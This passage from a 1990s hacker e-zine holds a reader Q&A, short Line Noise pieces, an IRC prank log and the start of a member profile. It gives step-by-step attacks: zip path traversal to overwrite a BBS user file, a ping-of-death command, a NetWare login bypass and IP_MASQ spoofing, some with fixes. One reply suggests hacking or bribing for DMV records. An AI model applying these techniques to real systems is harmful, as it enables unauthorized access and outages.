  1549.   directly into the specified system, or enter in "cli" to go into the
  1550.   command line interpreter where you have more options to choose from
  1551.   including "help." ]
  1552.  
  1553.  
  1554. -----------------------------------------------------------------------------
  1555.  
  1556.  
  1557. Do you know where I can find texts on hacking into the California=20
  1558. Department of Motor Vehicle Records?  My friend's identity was stolen=20
  1559. for credit card fraud and the person who did it even went so far as to=20
  1560. get a CA driver's license to impersonate her.  The worst part is that=20
  1561. Visa won't release a copy of the fraudulent person's fake driver's=20
  1562. license to my friend, so she can't find out who this person actually is.=20
  1563. Do you know of any other ways we can get this person?
  1564.  
  1565. Binky
  1566.  
  1567. [ Gee, Binky.  If VISA is involved and it was credit card fraud, then
  1568.   is the Secret Service involved too?  If so, then why on earth do you
  1569.   (or your friend) want to get in the middle of it?  You'll know soon
  1570.   enough who the person is when they get charged, or is this just a
  1571.   Charles Bronson style vigilante thing?
  1572.  
  1573.   California's DMV (as well as most public records databases in that
  1574.   state) is kept somewhat restricted to public queries due to the large
  1575.   number of celebrities living in the state, or otherwise you could just
  1576.   go buy the information directly from the state.
  1577.  
  1578.   If you're thinking about pulling a "Mitnick" and breaking into such
  1579.   a database, then you better know something about IBM mainframes and
  1580.   know how to defeat RACF.  Or be willing to dig around in the trash
  1581.   until you locate a valid account.  Even if you find a valid RACF userid,
  1582.   you will have 3-5 tries per account to guess a valid password until the
  1583.   account is locked out (which of course will let them know you were
  1584.   trying to hack them.)
  1585.  
  1586.   For an easier solution, you might want to looking in the yellow pages
  1587.   for a private investigator and have them do a search on Information
  1588.   America or NIA and get the listing for you, or bribe a civil servant. ]
  1589.  
  1590.  
  1591. -----------------------------------------------------------------------------
  1592.  
  1593.  
  1594. EOF
  1595.  
  1596.  
  1597.                                 .oO Phrack 50 Oo.
  1598.  
  1599.                             Volume Seven, Issue Fifty
  1600.  
  1601.                                      3 of 16
  1602.  
  1603.  
  1604.                              //   //  /\   //   ====
  1605.                             //   //  //\\ //   ====
  1606.                            ==== //  //  \\/   ====
  1607.  
  1608.                        /\   //  // \\    //  /===   ====
  1609.                       //\\ //  //   //  //   \=\   ====
  1610.                      //  \\/    \\ //  //   ===/  ====
  1611.  
  1612. ------------------------------------------------------------------------------
  1613.  
  1614.                                 ----<>----
  1615.  
  1616.  
  1617.                             =--=--=--=--=--=--=--=
  1618.                              Portable BBS Hacking
  1619.                                   by: Khelbin
  1620.                             =--=--=--=--=--=--=--=
  1621.  
  1622.  
  1623.      This hack basically has little to do with the BBS software itself but
  1624. with the archiver which is being used.  I've used this technique on a 
  1625. mock Renegade setup and with pkzip/pkunzip as the archiver.  I'm sure
  1626. that this same type of technique will be successful on many other BBS
  1627. platforms and with other archivers as well.  While explaining this, I will
  1628. use Renegade and pkzip/pkunzip as my example.
  1629.  
  1630.     A Renegade setup is most likely vulnerable if it will pkunzip any user
  1631. supplied zipfile.  This is because Renegade's default command to unzip files
  1632. is "pkunzip -do <filename>".  The -d flag unzips the file retaining any
  1633. directories which were included into the zip file and the -o flag will 
  1634. automatically overwrite any file. 
  1635.  
  1636.     Suppose the remote system is also setup in a normal Renegade fashion.
  1637. Let's use this file tree as an example:
  1638.  
  1639.      C:\RENEGADE\
  1640.      C:\RENEGADE\TEMP\
  1641.      C:\RENEGADE\DATA\            
  1642.  
  1643.     The other subdirectories are unimportant for our discussion.  Suppose 
  1644. that C:\TEMP is where our uploaded file will go for it to be unzipped and
  1645. then scanned for viruses.  C:\RENEGADE\DATA\ is where the USERS.DAT file 
  1646. is stored, containing all the users login information.  
  1647.  
  1648.      Wouldn't it be nice if we could put our own USERS.DAT in there instead?
  1649. To do this, you must first generate a USERS.DAT file.  This is easy enough.
  1650. Just download a copy of Renegade which is the same version as the target
  1651. machine and then use the user editor to make a "SYSOP" account with the 
  1652. password "SYSOP" (this should be the default anyway on the USERS.DAT file).
  1653.  
  1654.      Here's how we prepare the zipfile on our own machine:
  1655.  
  1656.          C:\>md tmp
  1657.          C:\>md c:\tmp\ddsdata
  1658.          C:\>copy c:\renegade\data\users.dat c:\tmp\ddsdata
  1659.          C:\>cd tmp
  1660.          C:\TMP>pkzip -pr evil.zip
  1661.  
  1662.      Now we get out our trusty hex editor and edit evil.zip.  Change every
  1663. occurrence of "ddsdata" in evil.zip to read "../data" and make sure that the
  1664. slash is a forward-slash and not a back-slash.  Now when you upload
  1665. evil.zip to this particular BBS, it will expand to "../data/users.dat"
  1666. and your USERS.DAT file will overwrite their USERS.DAT file since the -od
  1667. flag is default on Renegade.  
  1668.  
  1669.      Now you can login as SYSOP with a password SYSOP and do as you please. 
  1670. You could also overwrite virtually any file on a BBS like this and believe 
  1671. me,  many do have this vulnerability or something very close to it.  You are 
  1672. only limited in how much you can traverse up and down directories by DOS's 
  1673. maximum file length of 12 (8 plus "." plus 3 = 12).  I quickly tried 
  1674. inserting a few blocks into the zipfile in order to produce a limitless 
  1675. amount of traversing which but it seemed to corrupt the file for some 
  1676. reason.
  1677.  
  1678.      Removing the -o flag is not a fix for this bug.  Without the -o flag,
  1679. you can "hang" the system in a denial of service attack.  By again hex 
  1680. editing the names of the files within your evil.zip, you can make it have 
  1681. two files with the same name.  When it tries to unzip the second file, it 
  1682. will prompt locally whether to overwrite the file or not and "hang" the 
  1683. board.  Instead, the -d flag is what should be removed.
  1684.  
  1685.      This is just an example as I'm sure many other BBS systems do this same
  1686. type of uncompressing.  I'd also bet that arj, lha, and several others, can
  1687. also be hex edited and yield similar results.  Either way, it's either take
  1688. out the "restore/create directories within archive" option or pay the price.
  1689.  
  1690.  
  1691.                                 ----<>----
  1692.  
  1693.  
  1694.  German Hacker "Luzifer" convicted   by SevenUp / sec@sec.de
  1695.  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1696.  
  1697. SYNOPSIS
  1698. ========
  1699. On February 5th, 1997, Wilfried Hafner aka "Luzifer" was sentenced to
  1700. three years incarceration - no parole, no probation.  I've got the story
  1701. for you right from the courtroom in Munich, Germany.  This is one of the
  1702. first ever cases in which a hacker in Germany actually gets convicted, so
  1703. it's particularly interesting. (Although the court and I use the term
  1704. "hacking", this is actually a case of unethical electronic fraud.)
  1705.  
  1706.  
  1707. LUZIFER
  1708. =======
  1709. Wilfried Hafner (Luzifer) was born on April 6, 1972, in Breschau Italy.
  1710. According to his own circulum vitae, which he quoted in court himself,
  1711. he's been a pretty smart guy: He started programming at 8 years,and cracked
  1712. about 600 Commodore programs, at 14, got a modem and then started a BBS.
  1713. In 1990 he was blueboxing to some overseas partylines to communicate with
  1714. others.  But he didn't seem to use any other "elite" chat systems like x.25 
  1715. or IRC, so most people (including myself) didn't know him that well.  In
  1716. 1992 he moved to South Germany to goto school.
  1717.  
  1718.  
  1719. WHAT HE DID
  1720. ===========
  1721. Luzifer set up some overseas partylines in the Dominican Republic,
  1722. Indonesia, The Philippines, and Israel.  Some lines included live chat,
  1723. but most were just sex recordings.  Then he used a local company PBX (a
  1724. Siemens Hicom 200 model), from his homeline, which was only "protected"
  1725. by a one digit code, to dialout to his partylines and his girlfriend in
  1726. Chile.  He also was blueboxing (which the prosecution calls "C5-hacking")
  1727. from five lines simultaneously, mostly via China.  To trick the partyline
  1728. provider and overseas telcos (who are aware of computer-generated calls)
  1729. he wrote a little program that would randomize aspects of the calls
  1730. (different calling intervals and different durations for the calls).
  1731.  
  1732. He got arrested the first time on 03/29/95, but was released again after 
  1733. 13 days.  Unfortunately he restarted the phreaking right away.  If he'd 
  1734. had stopped then, he would just have gotten 1 year probation.  However, he
  1735. was arrested again in January 1996, and has been in prison since.
  1736.  
  1737. Here are some numbers (shouts to Harper(tm)'s Index):
  1738. - Number of logged single phone connections:       18393
  1739. - Profit he makes for 1 min. partyline calls:      US$ 0.35 - 0.50
  1740. - Total Damage (= lost profit of telco):           US$ 1.15 Million
  1741. - Money that Luzifer got from the partylines:      US$ 254,000
  1742. - Paragraph in German Law that covers this fraud:  263a StG
  1743. - Duration of all calls, if made sequentially:     140 days
  1744.  
  1745.  
  1746. THE TRIAL
  1747. =========
  1748. This trial was far less spectacular than OJ's.  While 7 days had been
  1749. scheduled, the trial was over after the second day.  The first day went 
  1750. quite quick: The court didn't have enough judges available (two were present, 
  1751. but three required), so it had to be postponed after some minutes.
  1752.  
  1753. At the second day, both, the prosecution and Luzifers two lawyers, made
  1754. a deal and plead guilty for three years prison (but no financial punitive). 
  1755. In Germany, all sentences over two years cannot be carried out on probation.
  1756. But he has been allowed the use of a notebook computer.  Rumor has it that
  1757. he might be get an "open" execution, meaning that he has to sleep in the 
  1758. prison at night, but can work or study during the day.
  1759.  
  1760. The deal looked like the prosecution dropped all counts (including 
  1761. the one abusing the PBX in the first place) but two: one for the blueboxing 
  1762. before getting arrested, and one count for blueboxing afterwards.  They don't 
  1763. treat all 18393 connections as a separate count, but just each start of the 
  1764. "auto-call-program".
  1765.  
  1766.  
  1767. QUOTES
  1768. ======
  1769. Here are some interesting and funny quotes from the trial:
  1770. "Just for fun and technical curiosity" - Defendant
  1771. "Wouldn't one line be enough for technical experience"? - Judge
  1772. "I ordered 21 lines, but just got 5" - Defendant
  1773. "Lots of criminal energy" - Prosecutor
  1774. "He's obsessed and primarily competing with other hackers" - Lawyer
  1775. "A generation of run down computer kids" - Prosecutor
  1776. "He may keep the touchtone dialer, but we cannot return his laser fax,
  1777.  because the company's PBX number is stored in its speedial" - Prosecutor
  1778. "Myself and the Telekom have learned a lot" - Prosecutor
  1779. "New cables must be installed, new satelites have to be shot into the air" 
  1780.   - Prosecutor about the consequences of used up trunks and intl. lines
  1781. "The German Telekom is distributing pornography with big profits" - Lawyer
  1782.  
  1783.  
  1784.                                 ----<>----
  1785.  
  1786.  
  1787.         Yet another Lin(s)ux bug!
  1788.     By: Xarthon
  1789.  
  1790.         IP_MASQ is a commonly used new method of traffic forwarding which
  1791. may be enabled in newer Linux kernel versions.  I have been doing some
  1792. research into this new feature.
  1793.  
  1794.         IP_MASQ fails to check to make sure that a packet is in the non
  1795. routable range.  If you are able to get any packet to its destination, the
  1796. header of that packet is rewritten.
  1797.  
  1798.         Because of the lack of non-routable ip checking, the same tactics
  1799. that would be used a gateway machine, may also be used on a machine that
  1800. uses ip_masq.
  1801.  
  1802.         So in conclusion, you are able to spoof as if you are on the
  1803. inside network, from the outside.  But hey, what can you expect from
  1804. Linux?
  1805.  
  1806.  
  1807.                                 ----<>----
  1808.  
  1809.                                  11.22.96
  1810.  
  1811.         daemon9 and w0zz's adventure into warez-pup land... 
  1812.  
  1813.  
  1814.  
  1815. *W|ZaRD* u there?
  1816. -> *W|ZaRD* yes?
  1817. <w0zz> d9
  1818. <d9> hi w0zz
  1819. *W|ZaRD* r u the prez of BREED?
  1820. *** |COBRA| invites you to channel #supreme
  1821. <d9> I am hungry
  1822. -> *W|ZaRD* yup
  1823. *_e|f_* hi there - you got a minute?
  1824. *W|ZaRD* alright.. i got a question for u...
  1825. *** d9 (plugHead@onyx.infonexus.com) has joined channel #supreme
  1826. *** Topic for #supreme: [SpR] Still in discussion phase! [SpR]
  1827. *** #supreme _e|f_ 848703589
  1828. *** Users on #supreme: d9 @{Imagine} @BL|ZZaRD @W|ZaRD @|COBRA| @_e|f_ 
  1829. <_e|f_> re d9
  1830. *** Mode change "+o d9" on channel #supreme by _e|f_
  1831. <|COBRA|> today is going to be a bad day :(
  1832. *W|ZaRD* would you be interested in merging with like 4-6 other groups to become 1 group.??
  1833. *W|ZaRD* i mean. all the other groups have like 11 sitez and 8-10 suppliers like NGP
  1834. *W|ZaRD* and if we merge we could be up there with Prestige, and Razor
  1835. <_e|f_:#supreme> hello d9
  1836. <d9> *W|ZaRD* i mean. all the other groups have like 11 sitez and 8-10 suppliers like NGP
  1837. -> *W|ZaRD* hmm
  1838. *** Inviting w0zz to channel #supreme
  1839. <_e|f_> we got a discussion going on here for big plans for a lot of us "smaller" groups (smaller as
  1840.         compared to razor, prestige etc) :)
  1841. <d9> ah
  1842. *** Mystic12 (NONE@wheat-53.nb.net) has joined channel #supreme
  1843. <_e|f_> this is all still in discussion stages
  1844. <w0zz:#!r00t> hahahaha
  1845. *** Mode change "+o Mystic12" on channel #supreme by W|ZaRD
  1846. <_e|f_:#supreme> but would you be interested in a joint venture between a few of us smaller release groups
  1847.                  to combine into one large release group - to challenge razor and prestige?
  1848. <d9> w0zz
  1849. <w0zz> you've been sucked into warez kiddie conspiracies
  1850. <d9> join me
  1851. <w0zz:#!r00t> where are you?
  1852. *** Inviting w0zz to channel #supreme
  1853. *** w0zz (wozz@big.wookie.net) has joined channel #supreme
  1854. <d9> well...
  1855. *** Mode change "+o w0zz" on channel #supreme by d9
  1856. <w0zz> werd
  1857. <_e|f_> re wozz
  1858. <d9> hi w0zz
  1859. <w0zz> hi there
  1860. <_e|f_> i can send u a log to flesh out a few more details if you like
  1861. <w0zz> i've got mackin' warez
  1862. <d9> hmm
  1863. <d9> sure
  1864. *w0zz* you recording this for line noise ?
  1865. *w0zz* ;)
  1866. -> *w0zz* indeed...;)
  1867. *w0zz* heh
  1868. <d9> the thing is, I have all this porn I want to unload...
  1869. <w0zz> yah, i got da mackin porn too
  1870. <d9> but, no good place to distro it...
  1871. *** ^DRiFTeR^ (~Drifter@203.30.237.48) has joined channel #supreme
  1872. *** Mode change "+o ^DRiFTeR^" on channel #supreme by _e|f_
  1873. <_e|f_> hey drifter
  1874. <d9> I was using this panix account, but all that SYN flooding stopped that cold...
  1875. <_e|f_> drifter is muh vp :)
  1876. <RAgent:#!r00t> do you even know what BREED is, route?
  1877. <d9> warez pups?
  1878. <_e|f_:#supreme> drifter: d9 and wozz are from breed
  1879. <_e|f_:#supreme> blizzard and wizard are from NGP
  1880. <^DRiFTeR^:#supreme> k
  1881. <d9:#!r00t> HAHAHAhahahaha
  1882. <Mystic12:#supreme> I am also from NGP
  1883. *** Signoff: Mystic12 (Leaving)
  1884. <W|ZaRD:#supreme> so is Mystic12
  1885. <RAgent:#!r00t> well, looks like it.  just wondered if you knew them at all
  1886. <d9> w0zz... you get the new shit I send you?
  1887. *** Mystic12 (NONE@wheat-53.nb.net) has joined channel #supreme
  1888. <w0zz:#supreme> yah
  1889. <_e|f_:#supreme> sorry mystic - didnt see yew there
  1890. <d9:#!r00t> nope!
  1891. *** Mode change "+o Mystic12" on channel #supreme by W|ZaRD
  1892. <w0zz> indexed and everything
  1893. <RAgent:#!r00t> hahaha
  1894. <w0zz> i spanked my monkey for hours
  1895. <RAgent:#!r00t> whee
  1896. <d9> werd.
  1897. <d9:#!r00t> AAAAAHAHAHahahhahaha WOZZ!
  1898. <_e|f_> brb
  1899. <d9> hmm
  1900. #supreme   Mystic12  H@  NONE@wheat-53.nb.net (CCINC)
  1901. #supreme   ^DRiFTeR^ H@  ~Drifter@203.30.237.48 (ReaLMS oF Da NiTe - HrD)
  1902. #supreme   w0zz      H@  wozz@big.wookie.net (w0zz)
  1903. #supreme   d9        H@  plugHead@onyx.infonexus.com (Built Demon Tough)
  1904. #supreme   {Imagine} H@  BOB@199.190.110.99 (.:tORn f#E?h:. v1.45 by SLaG)
  1905. #supreme   BL|ZZaRD  H@  blizzard@ip222.tol.primenet.com (hehe)
  1906. #supreme   W|ZaRD    H@  m3ntal@ip201.tol.primenet.com (M3NTaL)
  1907. #supreme   |COBRA|   H@  cobra@slbri3p24.ozemail.com.au (100% ReVpOwEr)
  1908. #supreme   _e|f_     H@  _e|f_@203.26.197.12 (blah)
  1909. <w0zz:#!r00t> werd
  1910. *** Mode change "-ooo _e|f_ |COBRA| W|ZaRD" on channel #supreme by d9
  1911. *** Mode change "-ooo BL|ZZaRD w0zz ^DRiFTeR^" on channel #supreme by d9
  1912. *** Mode change "-o Mystic12" on channel #supreme by d9
  1913. <W|ZaRD> hehe
  1914. *** Mode change "+o w0zz" on channel #supreme by d9
  1915. <_e|f_> sigh
  1916. <W|ZaRD> what would the new group name be.. if this happened?
  1917. <d9> the new name?
  1918. <W|ZaRD> hmm. nice takeover
  1919. <W|ZaRD> hehe
  1920. <w0zz> werd
  1921. <d9> w0zz, what do you think?
  1922. <W|ZaRD> new group name
  1923. <_e|f_> d9: ops plz
  1924. <d9> r00t?  guild?
  1925. <d9> wait
  1926. <_e|f_> this is only a temp channel neway d9
  1927. <W|ZaRD> guild wuz already used
  1928. <d9> those are taken...
  1929. <_e|f_> so its a waste to do a takeover
  1930. <w0zz> i like r00t
  1931. <w0zz> oh
  1932. <w0zz> yeah
  1933. <w0zz> those guys are eleet
  1934. <d9> yah
  1935. <d9> I hear r00t has this 10 year old that can break into .mil sites...
  1936. *** d9 is now known as daemon9
  1937. <w0zz> duod, he's like D.A.R.Y.L.
  1938. <W|ZaRD> hehe
  1939. <daemon9> yah..
  1940. <_e|f_> d9: i take it by this yew aint interested?
  1941. <_e|f_> :\
  1942. <daemon9> anyway, bak to pr0n.
  1943. <W|ZaRD> anywayz.. op me d00d
  1944. <w0zz> me too
  1945. <w0zz> must have m0re pr0n
  1946. *** Mode change "+m" on channel #supreme by daemon9
  1947. <daemon9> yes
  1948. *** w0zz has left channel #supreme
  1949. <daemon9> more pr0n
  1950. <w0zz:#!r00t> werd
  1951. <w0zz:#!r00t> that rooled
  1952. <daemon9> mega-pr0n
  1953. <W|ZaRD> porn
  1954. <W|ZaRD> hehe
  1955. <daemon9> kiddie-pr0n 
  1956. <W|ZaRD> op me plz
  1957. <daemon9> wizard, you are fine the way you are.
  1958. *** w0zz is now known as [w0zzz]
  1959. *** daemon9 has left channel #supreme
  1960. *** daemon9 is now known as r0ute
  1961. <r0ute> hahaha
  1962. <[w0zzz]> heh
  1963. <r0ute> that was fun.
  1964. <r0ute> good way to wake up from a nap
  1965.  
  1966.  
  1967.  
  1968.                                 ----<>----
  1969.  
  1970.  
  1971.  
  1972.             Large Packet Attacks
  1973.             (AKA Ping of Death)
  1974.            ---------------------------------
  1975.  
  1976.  
  1977.     [ Introduction ]
  1978.  
  1979.     Recently, the Internet has seen a large surge in denial of service
  1980. attacks.  A denial of service attack in this case is simply an action of some 
  1981. kind that prevents the normal functionality of the network.  It denies service.
  1982. This trend began a few months back with TCP SYN flooding and continues with the
  1983. "large packet attack".  In comparison with SYN flooding, the large packet attack 
  1984. is a much more simple attack in both concept (explained below) and execution 
  1985. (the attack can be carried out by anyone with access to a Windows 95 machine).  
  1986. TCP SYN flooding is more complex in nature and does not exploit a flaw so much 
  1987. as it exploits an implementation weakness.  
  1988.     The large packet attack is also much more devastating then TCP SYN 
  1989. flooding.  It can quite simply cause a machine to crash, whereas SYN flooding 
  1990. may just deny access to mail or web services of a machine for the duration of 
  1991. the attack.  For more information on TCP SYN flooding see Phrack 49, article 13.
  1992. (NOTE:  The large packet attack is somewhat misleadingly referred to as 'Ping of 
  1993. Death` because it is often delivered as a ping packet.  Ping is a program that 
  1994. is used to test a machine for reachablity to see if it alive and accepting 
  1995. network requests.  Ping also happens to be a convenient way of sending the 
  1996. large packet over to the target.)
  1997.     The large packet attack has caused no end of problems to countless 
  1998. machines across the Internet.  Since its discovery, *dozens* of operating 
  1999. system kernels have been found vulnerable, along with many routers, terminal 
  2000. servers, X-terminals, printers, etc.  Anything with a TCP/IP stack is in fact,
  2001. potentially vulnerable.  The effects of the attack range from mild to 
  2002. devastating.  Some vulnerable machines will hang for a relatively short period
  2003. time then recover, some hang indefinitely, others dump core (writing a huge 
  2004. file of current memory contents, often followed by a crash), some lose 
  2005. all network connectivity, many rebooted or simply gave up the ghost.
  2006.     
  2007.     [ Relevant IP Basics ]    
  2008.  
  2009.     Contrary to popular belief, the problem has nothing to do with the
  2010. `ping` program.  The problem lies in the IP module.  More specifically,
  2011. the problem lies the in the fragmentation/reassembly portion of the IP module.
  2012. This is portion of the IP protocol where the packets are broken into smaller 
  2013. pieces for transit, and also where they are reassembled for processing.  An IP
  2014. packet has a maximum size constrained by a 16-bit header field (a header is a 
  2015. portion of a packet that contains information about the packet, including
  2016. where it came from and where it is going).  The maximum size of an IP packet 
  2017. is 65,535 (2^16-1) bytes.  The IP header itself is usually 20 bytes so this 
  2018. leaves us with 65,515 bytes to stuff our data into.  The underlying link layer
  2019. (the link layer is the network logically under IP, often ethernet) can seldom 
  2020. handle packets this large (ethernet for example, can only handle packets up to 
  2021. 1500 bytes in size).  So, in order for the link layer to be able to digest a 
  2022. large packet, the IP module must fragment (break down into smaller pieces) 
  2023. each packet it sends to down to the link layer for transmission on the network.
  2024. Each individual fragment is a portion of the original packet, with its own 
  2025. header containing information on exactly how the receiving end should put it 
  2026. back together.  This putting the individual packets back together is called 
  2027. reassembly.  When the receiving end has all of the fragments, it reassembles 
  2028. them into the original IP packet, and then processes it.
  2029.  
  2030.     [ The attack ]
  2031.  
  2032.     The large packet attack is quite simple in concept.  A malicious user  
  2033. constructs a large packet and sends it off.  If the destination host is
  2034. vulnerable, something bad happens (see above).  The problem lies in the
  2035. reassembly of these large packets.  Recall that we have 65,515 bytes of space 
  2036. in which to stuff data into.  As it happens, a few misbehaved applications
  2037. (and some specially crafted evil ones) will allow one to place slightly more 
  2038. data into the payload (say 65,520 bytes).  This, along with a 20 byte IP
  2039. header, violates the maximum packet size of 65,535 bytes.  The IP module will 
  2040. then simply break this oversized packet into fragments and eschew them to 
  2041. their intended destination (target).  The receiving host will queue all of the 
  2042. fragments until the last one arrives, then begin the process of reassembly.  
  2043. The problem will surface when the IP module finds that the packet is in
  2044. fact larger than the maximum allowable size as an internal buffer is 
  2045. overflowed.  This is where something bad happens (see above).
  2046.     
  2047.     [ Vulnerability Testing and Patching ]
  2048.  
  2049.     Testing to see if a network device is vulnerable is quite easy. 
  2050. Windows NT and Windows 95 will allow construction of these oversized
  2051. packets without complaining.  Simply type: `ping -l 65508 targethost`.  In
  2052. this case, we are delivering an oversized IP packet inside of a ping packet, 
  2053. which has a header size of 8 bytes.  If you add up the totals, 20 bytes of IP 
  2054. header + 8 bytes of ping header + 65,508 bytes of data, you get a 65,536 byte 
  2055. IP packet.  This is enough to cause affected systems to have problems.
  2056.     Defense is preventative.  The only way to really be safe from this
  2057. attack is to either ensure your system is patched, or unplug its network tap.
  2058. There are patches available for just about every vulnerable system.  For
  2059. a copious list of vulnerable systems and patches, check out a 'Ping of Death'
  2060. webpage near you.
  2061.  
  2062.             daemon9
  2063.             Editor, Phrack Magazine
  2064.             (daemon9@netcom.com)
  2065.  
  2066.  
  2067.  
  2068. ---------------------------------------------------------------------------
  2069.  
  2070. To: route@onyx.infonexus.com
  2071. From: xxxx xxxxxxxxxxx <xxxx@xxxxxxxxxx.com>
  2072. Subject: Re: ?
  2073. Status: RO
  2074.  
  2075. Actually, hang on. I've looked your story up and down looking for ways to
  2076.  make it more interesting and I can't. I think it's actually just too
  2077.  technical for us and lacks a newsworthiness that was evident in the SYN
  2078.  article. I mean, you never tell us why we should care about this, and
  2079.  frankly, I don't know why we should. So, you're welcome to take another
  2080.  pass at it, otherwise, I'll give you the kill fee of $100.
  2081.  
  2082. xxxx
  2083.  
  2084. [ Too techinical?  Any less techincal and I would have to make everything
  2085.   rhyme so people wouldn't fall asleep. ]
  2086.  
  2087. ---------------------------------------------------------------------------
  2088.  
  2089.  
  2090.                                 ----<>----
  2091.  
  2092.  
  2093.                        Netware Insecurities
  2094.                               Tonto
  2095.  
  2096.                             [the rant]
  2097.         
  2098.         I realize that to most security professionals and
  2099.         system administrators who will see this magazine,
  2100.         the term "NetWare security" is a punchline.  That
  2101.         unfortunately does not change the fact that many 
  2102.         people in the field, myself included, must deal
  2103.         with it daily.  Really, honestly, I do agree with
  2104.         you.  Please don't write me to tell me about how
  2105.         futile it is.  I already know.
  2106.  
  2107.         Since its release, not much security news has really 
  2108.         surfaced surrounding Novell NetWare 4.  A lot of the 
  2109.         security flaws that were present in 3.1x were 'fixed'
  2110.         in 4.x since Novell pretty much redesigned the way
  2111.         the user/resource database worked, was referenced, 
  2112.         and stored.  Some flaws remained, although fixes for
  2113.         them are well-known, and easily applied.  However,
  2114.         NetWare 4 came with its own batch of new security
  2115.         flaws, and Novell has done a poor job of addressing
  2116.         them, hoping that consumer-end ignorance and the
  2117.         client/server software's proprietary design will hide 
  2118.         these holes.  You'd figure they would know better by 
  2119.         now.  
  2120.         
  2121.         The ability to use a packet sniffer to snag RCONSOLE
  2122.         passwords still exists;  NetWare 4 institutes client-end
  2123.         authentication to implement its auto-reconnect feature;
  2124.         the list goes on.  Below are just a couple of examples
  2125.         of such bugs and how to deal with them.  As new Novell
  2126.         products bring many existing LANs out onto the Internet,
  2127.         I think you will see more of this sort of thing coming 
  2128.         to the surface.  I hope that when it does, Novell decides 
  2129.         to take a more responsible role in security support for
  2130.         its products.  I'd hate for such a widely used product
  2131.         to become the next HP/UX.
  2132.  
  2133.  
  2134.                            [the exploits]
  2135.  
  2136. [BUG #1]
  2137.  
  2138. This bug is known to affect NetWare 4.10.  It's probably present in 4.01 
  2139. and other versions that support Directory Services, but I haven't 
  2140. verified this.  I'm only a CNA, so I tried to verify this bug by talking 
  2141. to a group of CNEs and nobody had heard of this, although there are 
  2142. apparently other bugs in previous versions of LOGIN.EXE.  
  2143.  
  2144. The bug is a combination of some weak code in LOGIN-4.12 
  2145. (SYS:\LOGIN\LOGIN.EXE) and a default User object in NDS - the user template 
  2146. USER_TEMPLATE. LOGIN allows input fields to be passed directly, instead 
  2147. of filtered, if they are passed to LOGIN correctly -- by specifying an 
  2148. object's context explicitly (as opposed to implicitly by using CX) and 
  2149. putting the User object's name in quotes.
  2150.  
  2151. F:\PUBLIC>LOGIN SVR1/"USER_TEMPLATE"
  2152.  
  2153. For Server object SVR1 in an appropriate context, this would probably work
  2154. and give a generic level of user access, perhaps to other volumes, 
  2155. programs, etc.  That will vary depending on the setup of the server.
  2156.  
  2157. The fix is simple.  Load SYS:\PUBLIC\NWADMIN.EXE and disable the user 
  2158. template's login.  But from now on, you will have to manually enable
  2159. login for any new User objects created in your tree.
  2160.  
  2161.  
  2162. [BUG #2]
  2163.  
  2164. This isn't a bug as much as a failed attempt to add security to a DOS file
  2165. system.  But since Novell touts (and teaches) it as a file system security
  2166. tool, it is worth addressing.
  2167.  
  2168. NetWare comes with a tool called FLAG, which is supposed to be the NetWare
  2169. equivalent of UNIX's chmod(), in that it controls file attributes for files
  2170. on local and NetWare file systems.  The problem lies in that Novell  
  2171. thought it would be neat to incorporate its tool into the world of DOS file 
  2172. attributes as well.  So they made FLAG alter DOS file attributes 
  2173. automatically to correspond with the new attributes installed by FLAG.  
  2174. This would've been cool, except that DOS's ATTRIB.EXE can also be used to 
  2175. change the DOS-supported file attributes set by FLAG.  (Archive, Read-only, 
  2176.  Hidden, and System, respectively)  And since ATTRIB doesn't reference NDS 
  2177. in any way, the problem is obvious;  A file that was marked Read-only by 
  2178. its owner, using FLAG, could be compromised by a user other than its owner,
  2179. with ATTRIB, and then altered or deleted.
  2180.  
  2181. There isn't an easy fix for something that is this broken, so it is 
  2182. simply recommended that you use IRFs (carefully) to designate file rights 
  2183. on your server.
  2184.  
  2185.  
  2186. [ 01-07-97 - Tont0 ]
  2187.  
  2188.  
  2189.                                 ----<>----
  2190. EOF
  2191.               
  2192.                                 .oO Phrack 50 Oo.
  2193.  
  2194.                             Volume Seven, Issue Fifty
  2195.  
  2196.                                      4 of 16
  2197.  
  2198.   
  2199.                              -:[ Phrack Pro-Phile ]:-
  2200.  
  2201.                                     Aleph One
  2202.                                     ~~~~~~~~~
  2203.  
  2204.     Personal
  2205.     ~~~~~~~~
  2206.  
  2207.              Handle: Aleph One
  2208.            Call him: Aleph
  2209.        Past handles: None
  2210.       Handle origin: Transfinite Math
  2211.                      ("Infinity and the Mind" by Rudy Rucker)
  2212.       Date of Birth: 1974
  2213.              Height: 6 feet
  2214.              Weight: No idea.
  2215.           Eye color: Olive
  2216.          Hair Color: Dark Brown
  2217.           Computers: Two
  2218.            Admin of: Underground.Org, and BugTraq
  2219.    Sites Frequented: None.  I got better things to do with my time.
  2220.                URLs: http://www.disinfo.com/
  2221.  
  2222.  
  2223.     Favorite Things
  2224.     ~~~~~~~~~~~~~~~
  2225.              Women: Intelligent, sexy with beautiful eyes and class.
  2226.               Cars: None.  They are a pain.  Ride a motorcycle.
  2227.              Foods: Exotic.  Sushi (Anago), Arab, Chinese, Vietnamese,
  2228.                     Thai, Indian, Ethiopian.  Seafood.  Meat.  Anything on 
  2229.                     a grill.  Anything flambÈ. Wine: Chianti.
  2230.              Music:      Techno: Leftfield, Orbital, Underworld, Electric 
  2231.                                  Skychurch, Prodigy, Juno Reacto, 
  2232.                                  Chemical Brothers, Ambient, GOA Trace.
  2233.                            Rock: Tool, Marylin Mason, Beck, Garbage, NIN.
  2234.                       Classical: Bach, Baroque
  2235.                     Soundtracks: Natural Born Killers, The Piano, Braveheart, 
  2236.                                  RobRoy.
  2237.              Books: "Godel, Escher, Bach" by Douglas R. Hofstadter
  2238.                     "Infinity and the Mind" by Rudy Rucker
  2239.                     "100 Years of Solitude" (in Spanish)
  2240.                       by Gabriel Garcia Marques
  2241.                     "Metamorphosis" by Kafka
  2242.           Turn Ons: Intelligence.  Class.  Pierced belly buttons.
  2243.                     Tasteful tattoos.  Long hair.
  2244.          Turn Offs: Ignorance.  Attitude.  Bad tattoos. 
  2245.  
  2246.  
  2247.  
  2248.     Other passions, interests, loves:
  2249.     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  2250.  
  2251.     Painting - Went to a painting/drawing class for 3 years.  Did
  2252.     everything from pencil, pastels, up to watercolors.  I stopped going
  2253.     when I started working with oils.  I haven't painted in almost 7 years.
  2254.     Too bad, I enjoyed it.
  2255.  
  2256.     Math - For some reason I always liked math.  I hated doing exercises,
  2257.     but always liked the theory.  Guess that's why my grades were not
  2258.     better.  I was intending to do a minor in math but I quit school
